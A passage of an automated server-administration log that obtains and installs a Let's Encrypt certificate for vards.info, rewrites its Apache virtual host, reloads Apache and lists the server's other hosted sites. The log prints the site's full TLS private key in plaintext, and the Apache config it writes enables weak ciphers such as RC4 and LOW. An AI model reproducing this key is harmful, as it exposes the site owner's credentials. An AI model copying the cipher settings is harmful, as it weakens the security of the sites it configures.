JSP/Ye7LJPEwD9DWG72vVWbhAcuOf5OLjz57Ctk7MgQHynZ7+PlHJtajroCaIbtC
r6tcZZaAwUQm+jQyeWdV+2hv9deOYFmKeQyjjcSrN5Nadrw+L9DZJLbA1HqeNvLh
BgqpP0fvJq2N6EtD574N6eMI7uMsJTnji2UDz9el5XLSv9fqJMuDQtYVb2oTNoKp
oUqhxPVC0aq4eG5MESaIdn8b5ZGSSeAJLMHXljEdlNza+ncfkviXk1POLnnFdvx8
/gk6M374WbLWFXw8N141B/Rl/tINGfl1TxOIiqtiMYkL02RSGb1kq34BL9NPP27z
RGMuHGnzS3hFIrRTfKxrzUZ9RzQWzEG3K6fJ3r2nqSltkeytis9DIBoFY9VmVyjL
M71DMi+y1+TRSJVClEMwvA4yL++7q9XZx5r5wBRWB4kQTKH5qyoZnDw7iiuh1lID
yDFx8r7i9vIJU5HS3moZLkYWAOilMaV9N56A9Bgb6dNcHkvg3NoaYA==
-----END CERTIFICATE-----






2026-06-14 06:00:31: Establishing a connection
2026-06-14 06:00:31: Establishing a connection
2026-06-14 06:00:31: 

PUT: /tmp/pkp295822

#!/bin/bash
if [ -d "/var/www/vards_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-06-14 06:00:32: 

chmod 755 /tmp/pkp295822; /tmp/pkp295822; rm /tmp/pkp295822

2026-06-14 06:00:32: 


1


2026-06-14 06:00:32: Establishing a connection
2026-06-14 06:00:32: 

PUT: /tmp/pkp775652

#!/bin/bash
mkdir -p "/var/www/vards_www/.well-known/acme-challenge/"
cd "/var/www/vards_www/.well-known/acme-challenge/"
cat > c3rN54gUafR6rr7ZcWoBqS_9RxFsXsGETVX1evleJ-o <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
c3rN54gUafR6rr7ZcWoBqS_9RxFsXsGETVX1evleJ-o.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 c3rN54gUafR6rr7ZcWoBqS_9RxFsXsGETVX1evleJ-o
cat > Hrq51GwDuNwKJXX3lJWOxf60SGDFJWI4grUO1a8cg5k <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
Hrq51GwDuNwKJXX3lJWOxf60SGDFJWI4grUO1a8cg5k.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 Hrq51GwDuNwKJXX3lJWOxf60SGDFJWI4grUO1a8cg5k


2026-06-14 06:00:32: 

chmod 755 /tmp/pkp775652; /tmp/pkp775652; rm /tmp/pkp775652

2026-06-14 06:00:33: 




2026-06-14 06:00:39: Establishing a connection
2026-06-14 06:00:39: 

PUT: /tmp/pkp767113

#!/bin/bash
mkdir -p "/var/www/vards_www/.well-known/acme-challenge/"
cd "/var/www/vards_www/.well-known/acme-challenge/"
rm c3rN54gUafR6rr7ZcWoBqS_9RxFsXsGETVX1evleJ-o
rm Hrq51GwDuNwKJXX3lJWOxf60SGDFJWI4grUO1a8cg5k


2026-06-14 06:00:39: 

chmod 755 /tmp/pkp767113; /tmp/pkp767113; rm /tmp/pkp767113

2026-06-14 06:00:39: 




2026-06-14 06:00:39: Establishing a connection
2026-06-14 06:00:39: 

PUT: /tmp/pkp945257

#!/bin/bash
temp_file=$(mktemp)
TARGET=5c147bca0a238ba09c5472db1d5debd9.crt

cat > $temp_file <<'endmsg'
ec:43:04:f1:4a:9c:99:98:1f:ac:70:3f:e1:e5:2a:fb

-----BEGIN CERTIFICATE-----
MIIE/zCCA+egAwIBAgISBWMXyFhJcCSe589H7ilbMNmYMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjEwHhcNMjYwNjE0MDUwMjA4WhcNMjYwOTEyMDUwMjA3WjAVMRMwEQYDVQQD
Ewp2YXJkcy5pbmZvMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAzo4h
uCbXPY0Nr/1rkAoL4G6Mg/gmTXvVt/xYaWbIWH36Op91r0nuMHfbi58TgpXAQ1me
kKHAEuwk8fqqSBpgskiNrKNlCR11h0qTD87ZDJ2QyeLeSVI5dbbhlAQgvvGYL7uL
DbED4/Qa0NNFMFOchpAdpfbJSU75Vak+09ah4/nTpylY0d6atVZ5hoeB0daLN3qj
VFPMfkXCx/9DjsGgKW5ePFgzfyL1Ef9Tb0RtTxovR/m/9PXAQVXQxKEGkgfsGRqq
ChM4J8ozSMqDYi5RKNwaULH+ooF0kOOOdxrO7KJ3N9/HqFNZTsJrqnWmPSqx/q3q
AJBK/tBmEhnQ3E27qQIDAQABo4ICKTCCAiUwDgYDVR0PAQH/BAQDAgWgMBMGA1Ud
JQQMMAoGCCsGAQUFBwMBMAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYEFCmlGt+Vs0Wc
T559Ddp94uvBV8NCMB8GA1UdIwQYMBaAFB8vNb5GFILNQLGueSxVePr31Gj7MDMG
CCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3lyMS5pLmxlbmNyLm9y
Zy8wJQYDVR0RBB4wHIIKdmFyZHMuaW5mb4IOd3d3LnZhcmRzLmluZm8wEwYDVR0g
BAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0cDovL3lyMS5jLmxl
bmNyLm9yZy8yNS5jcmwwggENBgorBgEEAdZ5AgQCBIH+BIH7APkAdwDXbX0Q0af1
d8LH6V/XAL/5gskzWmXh0LMBcxfAyMVpdwAAAZ7Et8TOAAAEAwBIMEYCIQDbYxFr
f5kSPAdLOwVtU1ulIlWHr16hPsls8MCxJ+j1SwIhAM/Huvbe00e33H6jhcMdqS/T
CW6lSJHZ25Ox7pMhYEZ0AH4AGoudaw/+v4G0eTnG0jEKhtbRAtTwRuIYLJ3jX14m
Je8AAAGexLfGLAAIAAAFAB6kcEcEAwBHMEUCIHgohjRPa30AnD8MzdESr0JXJlQx
SBapdQCF33y6zAOYAiEAo+36JyEJ3KlFwzAQSYXc/VONzHw1vOYXMN+ZrqTwlYsw
DQYJKoZIhvcNAQELBQADggEBAJ2CLCf3q9S676HtVS1v1GIqd0Q2zEIfmveFwr7Z
tuMyoViq0G9YLclSZxjyH/nIQ36vU1ASmOiReV4GaiQ0HEqsCvtepGYU9hlSLQMg
iSvyrXFeLoGkCV+l2YKIgV0Qb4UipQdYrd7bY9EGvgsTPwGPjzyLabqn/uq5/ULA
xIp0UdzOvFsyh/2yBbhhXpa6lxQQkXzQk5UBr8dQFxjgdIyYGGm1WZTKhe+2rsPL
XbM4ukZfx+YHu9Wx9Li16tNP0GxSbPkFNjDxB47am2o/C8lCJrHYYQEvEKwsztkp
OQE/paEFN0NSnXhpYkoYPN4d1UjAxf1pYjNziBCU/5uFw6w=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQDOjiG4Jtc9jQ2v
/WuQCgvgboyD+CZNe9W3/FhpZshYffo6n3WvSe4wd9uLnxOClcBDWZ6QocAS7CTx
+qpIGmCySI2so2UJHXWHSpMPztkMnZDJ4t5JUjl1tuGUBCC+8Zgvu4sNsQPj9BrQ
00UwU5yGkB2l9slJTvlVqT7T1qHj+dOnKVjR3pq1VnmGh4HR1os3eqNUU8x+RcLH
/0OOwaApbl48WDN/IvUR/1NvRG1PGi9H+b/09cBBVdDEoQaSB+wZGqoKEzgnyjNI
yoNiLlEo3BpQsf6igXSQ4453Gs7sonc338eoU1lOwmuqdaY9KrH+reoAkEr+0GYS
GdDcTbupAgMBAAECggEAMpFoXumfY1G/ipjrtvFGtBTMcNiVI/4PtgHg8Tj5DnUV
CDoWuSnL1vDY/mcdAyi/T53GrJj06Y0HhHg+LPXMO4l4qc28xA0Cw3L16vZUe/qt
Qke47NFlANUbh720+Jo0DGeJJPpzveB6mipG84xcszLgF0wCPmDHuPl8yKbwrlt/
oO28as24p9VUxFv2WPDr36QmfsRDDzr3ajES1dUyt0ekeoVLCvuaWRku5n2j6k5y
YEnJ3FlZNJc1mdm/jp+XBWeHkjr13O3jxihqbvP/v0whMDPyC7muWad/lpgPG3k/
JtYv8tfLgk2tXJhDK3pU1wK5rFIncVoFnblaRKTX2wKBgQD9JScPhi8nr9bC1BlU
1gDWa7VKjZK72u/27COq30D7WE0rJMUdU6pOsKi5KKzgTmuoj4ZWxAkXJggl+RJb
1J0QLRvAcfP68v4ZEv5DzZ1ZxPakwuTPl6kfnno+XN/XDGlMW50hoYLJLIPrFu/j
RqxG3d9SdrUUG3RluOZ4sH4xDwKBgQDQ4niHJaEEobJY5A6CrtQjN0N3QME2HCSJ
+8b3Iui0oyPN3/8tTRJOJoBd0zll7Z3yCMbbP2ioqS6hY2rXDwcwoV7YluCCEIKZ
fMX+B1wulX8QcBT+/UFVps7d17+3QUy2CDBRpx3xMr9NJ6kXUQCIEPIxqT5oA/D6
wpJunN7XxwKBgQD6ByoPYT9N+ZUrFYZ3jm+BWRzUqARX2yTMQ+vup1dtaYe+pzCx
iKNb2YysZQpq+cnH0QqkxDceUAgYSWvim5sOER+p8mNCZ6KlbWcJ3RofQjVCAuUw
TOFUQ5kF44GKy81tB8epIfclb/xTxHHnjzQ1QouCzZCIbZ2Hoxqv9dKN7QKBgQC2
rPg/KNdSV57DQl62RvLbAV+NESJnkeEakwgD5ZGhN/L9/uEI2xghJGaqpyjRTScO
HkLaRu/eYGaZWXp8LXZaPyXVQM2CsbGlTYtRh1pEmxUOaRbTkOPsZf8P37iYKRFP
OIYZQo9a+sh2TzL/YyWV2UwVxi7/hELg6fxpo+L2zQKBgQCYrYrj4vbrxNbFVKDC
PigYmP/0qQbtN1gL5yfrqlSxZf52z70Q2bWP6zX0QP+a2nnZs/fRsG7Um9cGQaTs
wgnRfFojGJo/PAK09y8v8eESVllrF55UcoAv77TqY77zL6JPFNK2NBt9Aa5U2a0M
xZsWQhWqqvuDjx3PBmIBJZ/xFw==
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIE2zCCAsOgAwIBAgIRAKICU/FfJpHAXcHOE7m8yk4wDQYJKoZIhvcNAQELBQAw
LjELMAkGA1UEBhMCVVMxDTALBgNVBAoTBElTUkcxEDAOBgNVBAMTB1Jvb3QgWVIw
HhcNMjUwOTAzMDAwMDAwWhcNMjgwOTAyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEW
MBQGA1UEChMNTGV0J3MgRW5jcnlwdDEMMAoGA1UEAxMDWVIxMIIBIjANBgkqhkiG
9w0BAQEFAAOCAQ8AMIIBCgKCAQEAoVi8X2xCYgMXvJxNPKp/oF13UMgmPABB07VC
LNDtoXmt9luEZNJSBV10VyT1Pz6LD8Zq1d2gc43WNl1AdRrj4sEnazbOiz0nPpmG
Bp2hui49oZtDIY6wdKeZAi5BbNU20CH6RSBBMLSQ9cXrH8dxdv4PAJ45ssGML68U
SE3BsjC2a6cAN9L5CgXVIQi5tfNiTPoFZZ3S0OlXqLmmtdV95udWAb5b6e/F49Di
CsH0Y00Ag72BVIb1hzynmKe+X0mERBTtsb3BwmpV9ipeBjMLoR/D9cHxHQCWoi5l
TmXwY015J5rGelz1nZjJuxc2kioaX29XJBnhMkP531rSdG5uMwIDAQABo4HuMIHr
MA4GA1UdDwEB/wQEAwIBhjATBgNVHSUEDDAKBggrBgEFBQcDATASBgNVHRMBAf8E
CDAGAQH/AgEAMB0GA1UdDgQWBBQfLzW+RhSCzUCxrnksVXj699Ro+zAfBgNVHSME
GDAWgBTe51tg0CJtQCh9Pw0B/qS1UrRRlDAyBggrBgEFBQcBAQQmMCQwIgYIKwYB
BQUHMAKGFmh0dHA6Ly95ci5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwB
AgEwJwYDVR0fBCAwHjAcoBqgGIYWaHR0cDovL3lyLmMubGVuY3Iub3JnLzANBgkq
hkiG9w0BAQsFAAOCAgEA0+zvMq3kHig1ddTmmm+RibTr9/RpX7k4buanMMRqbV/y
IvP82zAHN3mvaw+cASuVsdpd0ikjhr4hnhJQLQOzOp2ccKrsdGOAgo0vddeISFAq
EWEV4lmUM3vFF796up+bSgmJ1u6RupDCMxDgF8M3eLvGuj6L0lu3zkQ0KuQLnKxL
tB0oQqn1Idg5CuuGpMvQzk29Pa3D/qHurc0EIM9SxukQuJqq63lxsYyRQFU8yMBO
hq1w5LbfaWNRrz1uklOfI/pYkAb2E2MTZrAMQkBIE2S8Jt1F8gRc96o/xOsrgvSk
a84AisX6xq1lz1Z7jGvrnXc4TMcjxZTjiTaihcYI1JIXZiLtEMSCa5l3cu8YWd6z
dLRQlqRdclVjuQfNHawRJ6GWlkK0QJosivTKwdBw3KxEtzGo8yMHERbsy57gP1UX
HOMcmZYQC0gtyR3SxfenIM/MxC3Ia2Ypab/kQ/CTnlIn2KQ5JUC6NYrGCbhFN9bp
5lKJStEwCUnLpntcrXk5XVDCNv/5RyWpRThkGOV7GetKkQ0qAY8hCzWK6oqnAhDZ
cjlYVdWfqOw3DIOX6EDNBgAqHarRVxyF9QZdOaXSyPJ0ueD2BYJEBgaCGQ8rAaU/
Qc123V5LTXDZW4CcsPBDyhy4v+c8hClAyw/IkJlfBqxB9D+/wvIMHgECZ4ptP6o=
-----END CERTIFICATE-----

-----BEGIN CERTIFICATE-----
MIIF9DCCA9ygAwIBAgIRAPJLbRf52a18scn+p4eCaZ8wDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjYwNTEzMDAwMDAw
WhcNMzIwOTAyMjM1OTU5WjAuMQswCQYDVQQGEwJVUzENMAsGA1UEChMESVNSRzEQ
MA4GA1UEAxMHUm9vdCBZUjCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIB
ANvGJnN78CTJdWL3+eGfsLN5TrNBJs+VH9hRXqRbwxu9sGNiB0BD1fcOxbSUQCJI
M1xE13Db+5Cw1w0s0EBYsvuIP/6joF0w8cuImbgR1OGgYbSQ4OpzI+DG8SGuTlcE
873OCS+kh3srlo6vl43M5OJg4Aeo1sfHp6kTJDoIiFBNJAY+OKfX/FUvYKuhjT+n
o49lmqmupSBI5PkBQiqrEGtWU5uxU/cQWHGu8jSjFBznZqvbNPLMXMLFxCb3WTfr
JBXXjqvWG+v4bjzxjjeAtOlU7qarRDvNOyAuQYLln904M+faKx8hnLCpJ15ZqaEg
cNlY+9MMWcC5yvL2A2j3l9+2buggZX+dOE91zYmIdawTvSZuVvlbRrAlLxIB6pwM
BjneXCjYQ8+3BCCjssbSNpZU3hTcBDdhfAlEDlYr6pEatnMdmDT5BqnKC92bd0Eh
M1fbLHioLccLCuievT8ZkPhZrq7Mii7gNXAcUEAR8+lzYal+9zTg7C5DALyVOeG/
CqfRAMn1KSHCR0NSA6P8tn/mGRlnCct5rtVCLnVySVpU6H1qGg3DgTOuskf8eahT
MiYbI5ezPJmO5ertalskQ1utp74+eDy92PI4ftHKTbq9IWhH4YZKh3WnJEIt+oQv
lYZbY8tpEroKrFB6PFGzrJIDRyts4HqvuH52RFj2zv/BAgMBAAGjgeswgegwDgYD
VR0PAQH/BAQDAgEGMBMGA1UdJQQMMAoGCCsGAQUFBwMBMA8GA1UdEwEB/wQFMAMB
Af8wHQYDVR0OBBYEFN7nW2DQIm1AKH0/DQH+pLVStFGUMB8GA1UdIwQYMBaAFHm0
WeZ7tuXkAXOACIjIGlj26ZtuMDIGCCsGAQUFBwEBBCYwJDAiBggrBgEFBQcwAoYW
aHR0cDovL3gxLmkubGVuY3Iub3JnLzATBgNVHSAEDDAKMAgGBmeBDAECATAnBgNV
HR8EIDAeMBygGqAYhhZodHRwOi8veDEuYy5sZW5jci5vcmcvMA0GCSqGSIb3DQEB
CwUAA4ICAQA8spSI95KKfn2W6GMmDpHBJSPaLbsS3W93cijJCRCYAc1fsJgL1FIL
7C0C9ecPOdcwB2fi0Dk2p94j9iTJCxmt5CFSKLRWwnXT2MMSXexVxqoVB79BdWPx
VXETkVme/qYSAuKVHh5Ps+5BixgmwS1JkjSAc+MfrUbNssVEEnH0aEiAh+rotXAV
JSP/Ye7LJPEwD9DWG72vVWbhAcuOf5OLjz57Ctk7MgQHynZ7+PlHJtajroCaIbtC
r6tcZZaAwUQm+jQyeWdV+2hv9deOYFmKeQyjjcSrN5Nadrw+L9DZJLbA1HqeNvLh
BgqpP0fvJq2N6EtD574N6eMI7uMsJTnji2UDz9el5XLSv9fqJMuDQtYVb2oTNoKp
oUqhxPVC0aq4eG5MESaIdn8b5ZGSSeAJLMHXljEdlNza+ncfkviXk1POLnnFdvx8
/gk6M374WbLWFXw8N141B/Rl/tINGfl1TxOIiqtiMYkL02RSGb1kq34BL9NPP27z
RGMuHGnzS3hFIrRTfKxrzUZ9RzQWzEG3K6fJ3r2nqSltkeytis9DIBoFY9VmVyjL
M71DMi+y1+TRSJVClEMwvA4yL++7q9XZx5r5wBRWB4kQTKH5qyoZnDw7iiuh1lID
yDFx8r7i9vIJU5HS3moZLkYWAOilMaV9N56A9Bgb6dNcHkvg3NoaYA==
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-06-14 06:00:39: 

chmod 755 /tmp/pkp945257; /tmp/pkp945257; rm /tmp/pkp945257

2026-06-14 06:00:39: 


dir=/etc/ssl/certs


2026-06-14 06:00:39: 

PUT: /tmp/pkp449731

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/vards_www_info.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-06-14 06:00:39: 

chmod 755 /tmp/pkp449731; /tmp/pkp449731; rm /tmp/pkp449731

2026-06-14 06:00:39: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/vards_www_info.conf 38

<VirtualHost *:80>
    ServerName	vards.info
    ServerAlias	www.vards.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/vards_www
    <Directory /var/www/vards_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/vards/www_access.log combined
    ErrorLog	/var/log/apache2/vards/www_error.log
    SetEnv pkp_uid	57
    SetEnv pkp_owner	vards
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	vards.info
    ServerAlias	www.vards.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/5c147bca0a238ba09c5472db1d5debd9.crt
    DocumentRoot	/var/www/vards_www
    <Directory /var/www/vards_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/vards/www_secure_access.log combined
    ErrorLog	/var/log/apache2/vards/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-06-14 06:00:39: 

PUT: /tmp/pkp476275

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=vards_www_info.conf
TARGET=/etc/apache2/sites-enabled/vards_www_info.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	vards.info
    ServerAlias	www.vards.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/vards_www
    <Directory /var/www/vards_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/vards/www_access.log combined
    ErrorLog	/var/log/apache2/vards/www_error.log
    SetEnv pkp_uid	57
    SetEnv pkp_owner	vards
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	vards.info
    ServerAlias	www.vards.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/5c147bca0a238ba09c5472db1d5debd9.crt
    DocumentRoot	/var/www/vards_www
    <Directory /var/www/vards_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/vards/www_secure_access.log combined
    ErrorLog	/var/log/apache2/vards/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/vards_www_info.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/vards_www_info.conf)= /etc/apache2//etc/apache2/sites-enabled/vards_www_info.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/vards_www_info.conf= 1'
fi


2026-06-14 06:00:39: 

chmod 755 /tmp/pkp476275; /tmp/pkp476275; rm /tmp/pkp476275

2026-06-14 06:00:39: 




2026-06-14 06:00:39: 

PUT: /tmp/pkp468653

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-06-14 06:00:39: 

chmod 755 /tmp/pkp468653; /tmp/pkp468653; rm /tmp/pkp468653

2026-06-14 06:00:39: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-06-14 06:00:39: Establishing a connection
2026-06-14 06:00:40: 

PUT: /tmp/pkp930917

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-06-14 06:00:40: 

chmod 755 /tmp/pkp930917; /tmp/pkp930917; rm /tmp/pkp930917

2026-06-14 06:00:40: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
         port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
                 alias www.baptizo.info
         port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
                 alias www.bible-basics.info
         port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
                 alias www.biblebasicsonline.com
         port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
                 alias www.carelinks-uk.org
         port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
                 alias www.carelinks.org.uk
         port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
                 alias www.carelinksaustralia.info
         port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
         port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
                 alias www.christadelphianfraternal.info
         port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
                 alias www.croydonchurch.info
         port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
                 alias www.dalmenynaroomabushwalkers.info
         port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
                 alias www.exjw.org.uk
         port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
                 alias www.freebible.info
         port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
         port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
         port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
                 alias www.maminas.info
         port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
                 alias www.osnowybiblii.info
         port 80 namevhost persianchurch.info (/etc/apache2/sites-enabled/persianchurch_www_info.conf:2)
                 alias www.persianchurch.info
         port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
         port 80 namevhost home.pjy.us (/etc/apache2/sites-enabled/pjy_home_us.conf:2)
         port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
                 alias www.r-b-c.org
         port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
                 alias www.realchrist.info
         port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
                 alias www.vards.info
*:443                  is a NameVirtualHost
         default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
                 alias www.baptizo.info
         port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
                 alias www.bible-basics.info
         port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
                 alias www.biblebasicsonline.com
         port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
                 alias www.carelinks-uk.org
         port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
                 alias www.carelinks.org.uk
         port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
                 alias www.carelinksaustralia.info
         port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:23)
         port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
                 alias www.christadelphianfraternal.info
         port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
                 alias www.croydonchurch.info
         port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
                 alias www.dalmenynaroomabushwalkers.info
         port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:23)
                 alias www.exjw.org.uk
         port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
                 alias www.freebible.info
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
         port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
         port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
         port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
                 alias www.maminas.info
         port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
                 alias www.osnowybiblii.info
         port 443 namevhost persianchurch.info (/etc/apache2/sites-enabled/persianchurch_www_info.conf:23)
                 alias www.persianchurch.info
         port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
         port 443 namevhost home.pjy.us (/etc/apache2/sites-enabled/pjy_home_us.conf:23)
         port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
                 alias www.r-b-c.org
         port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
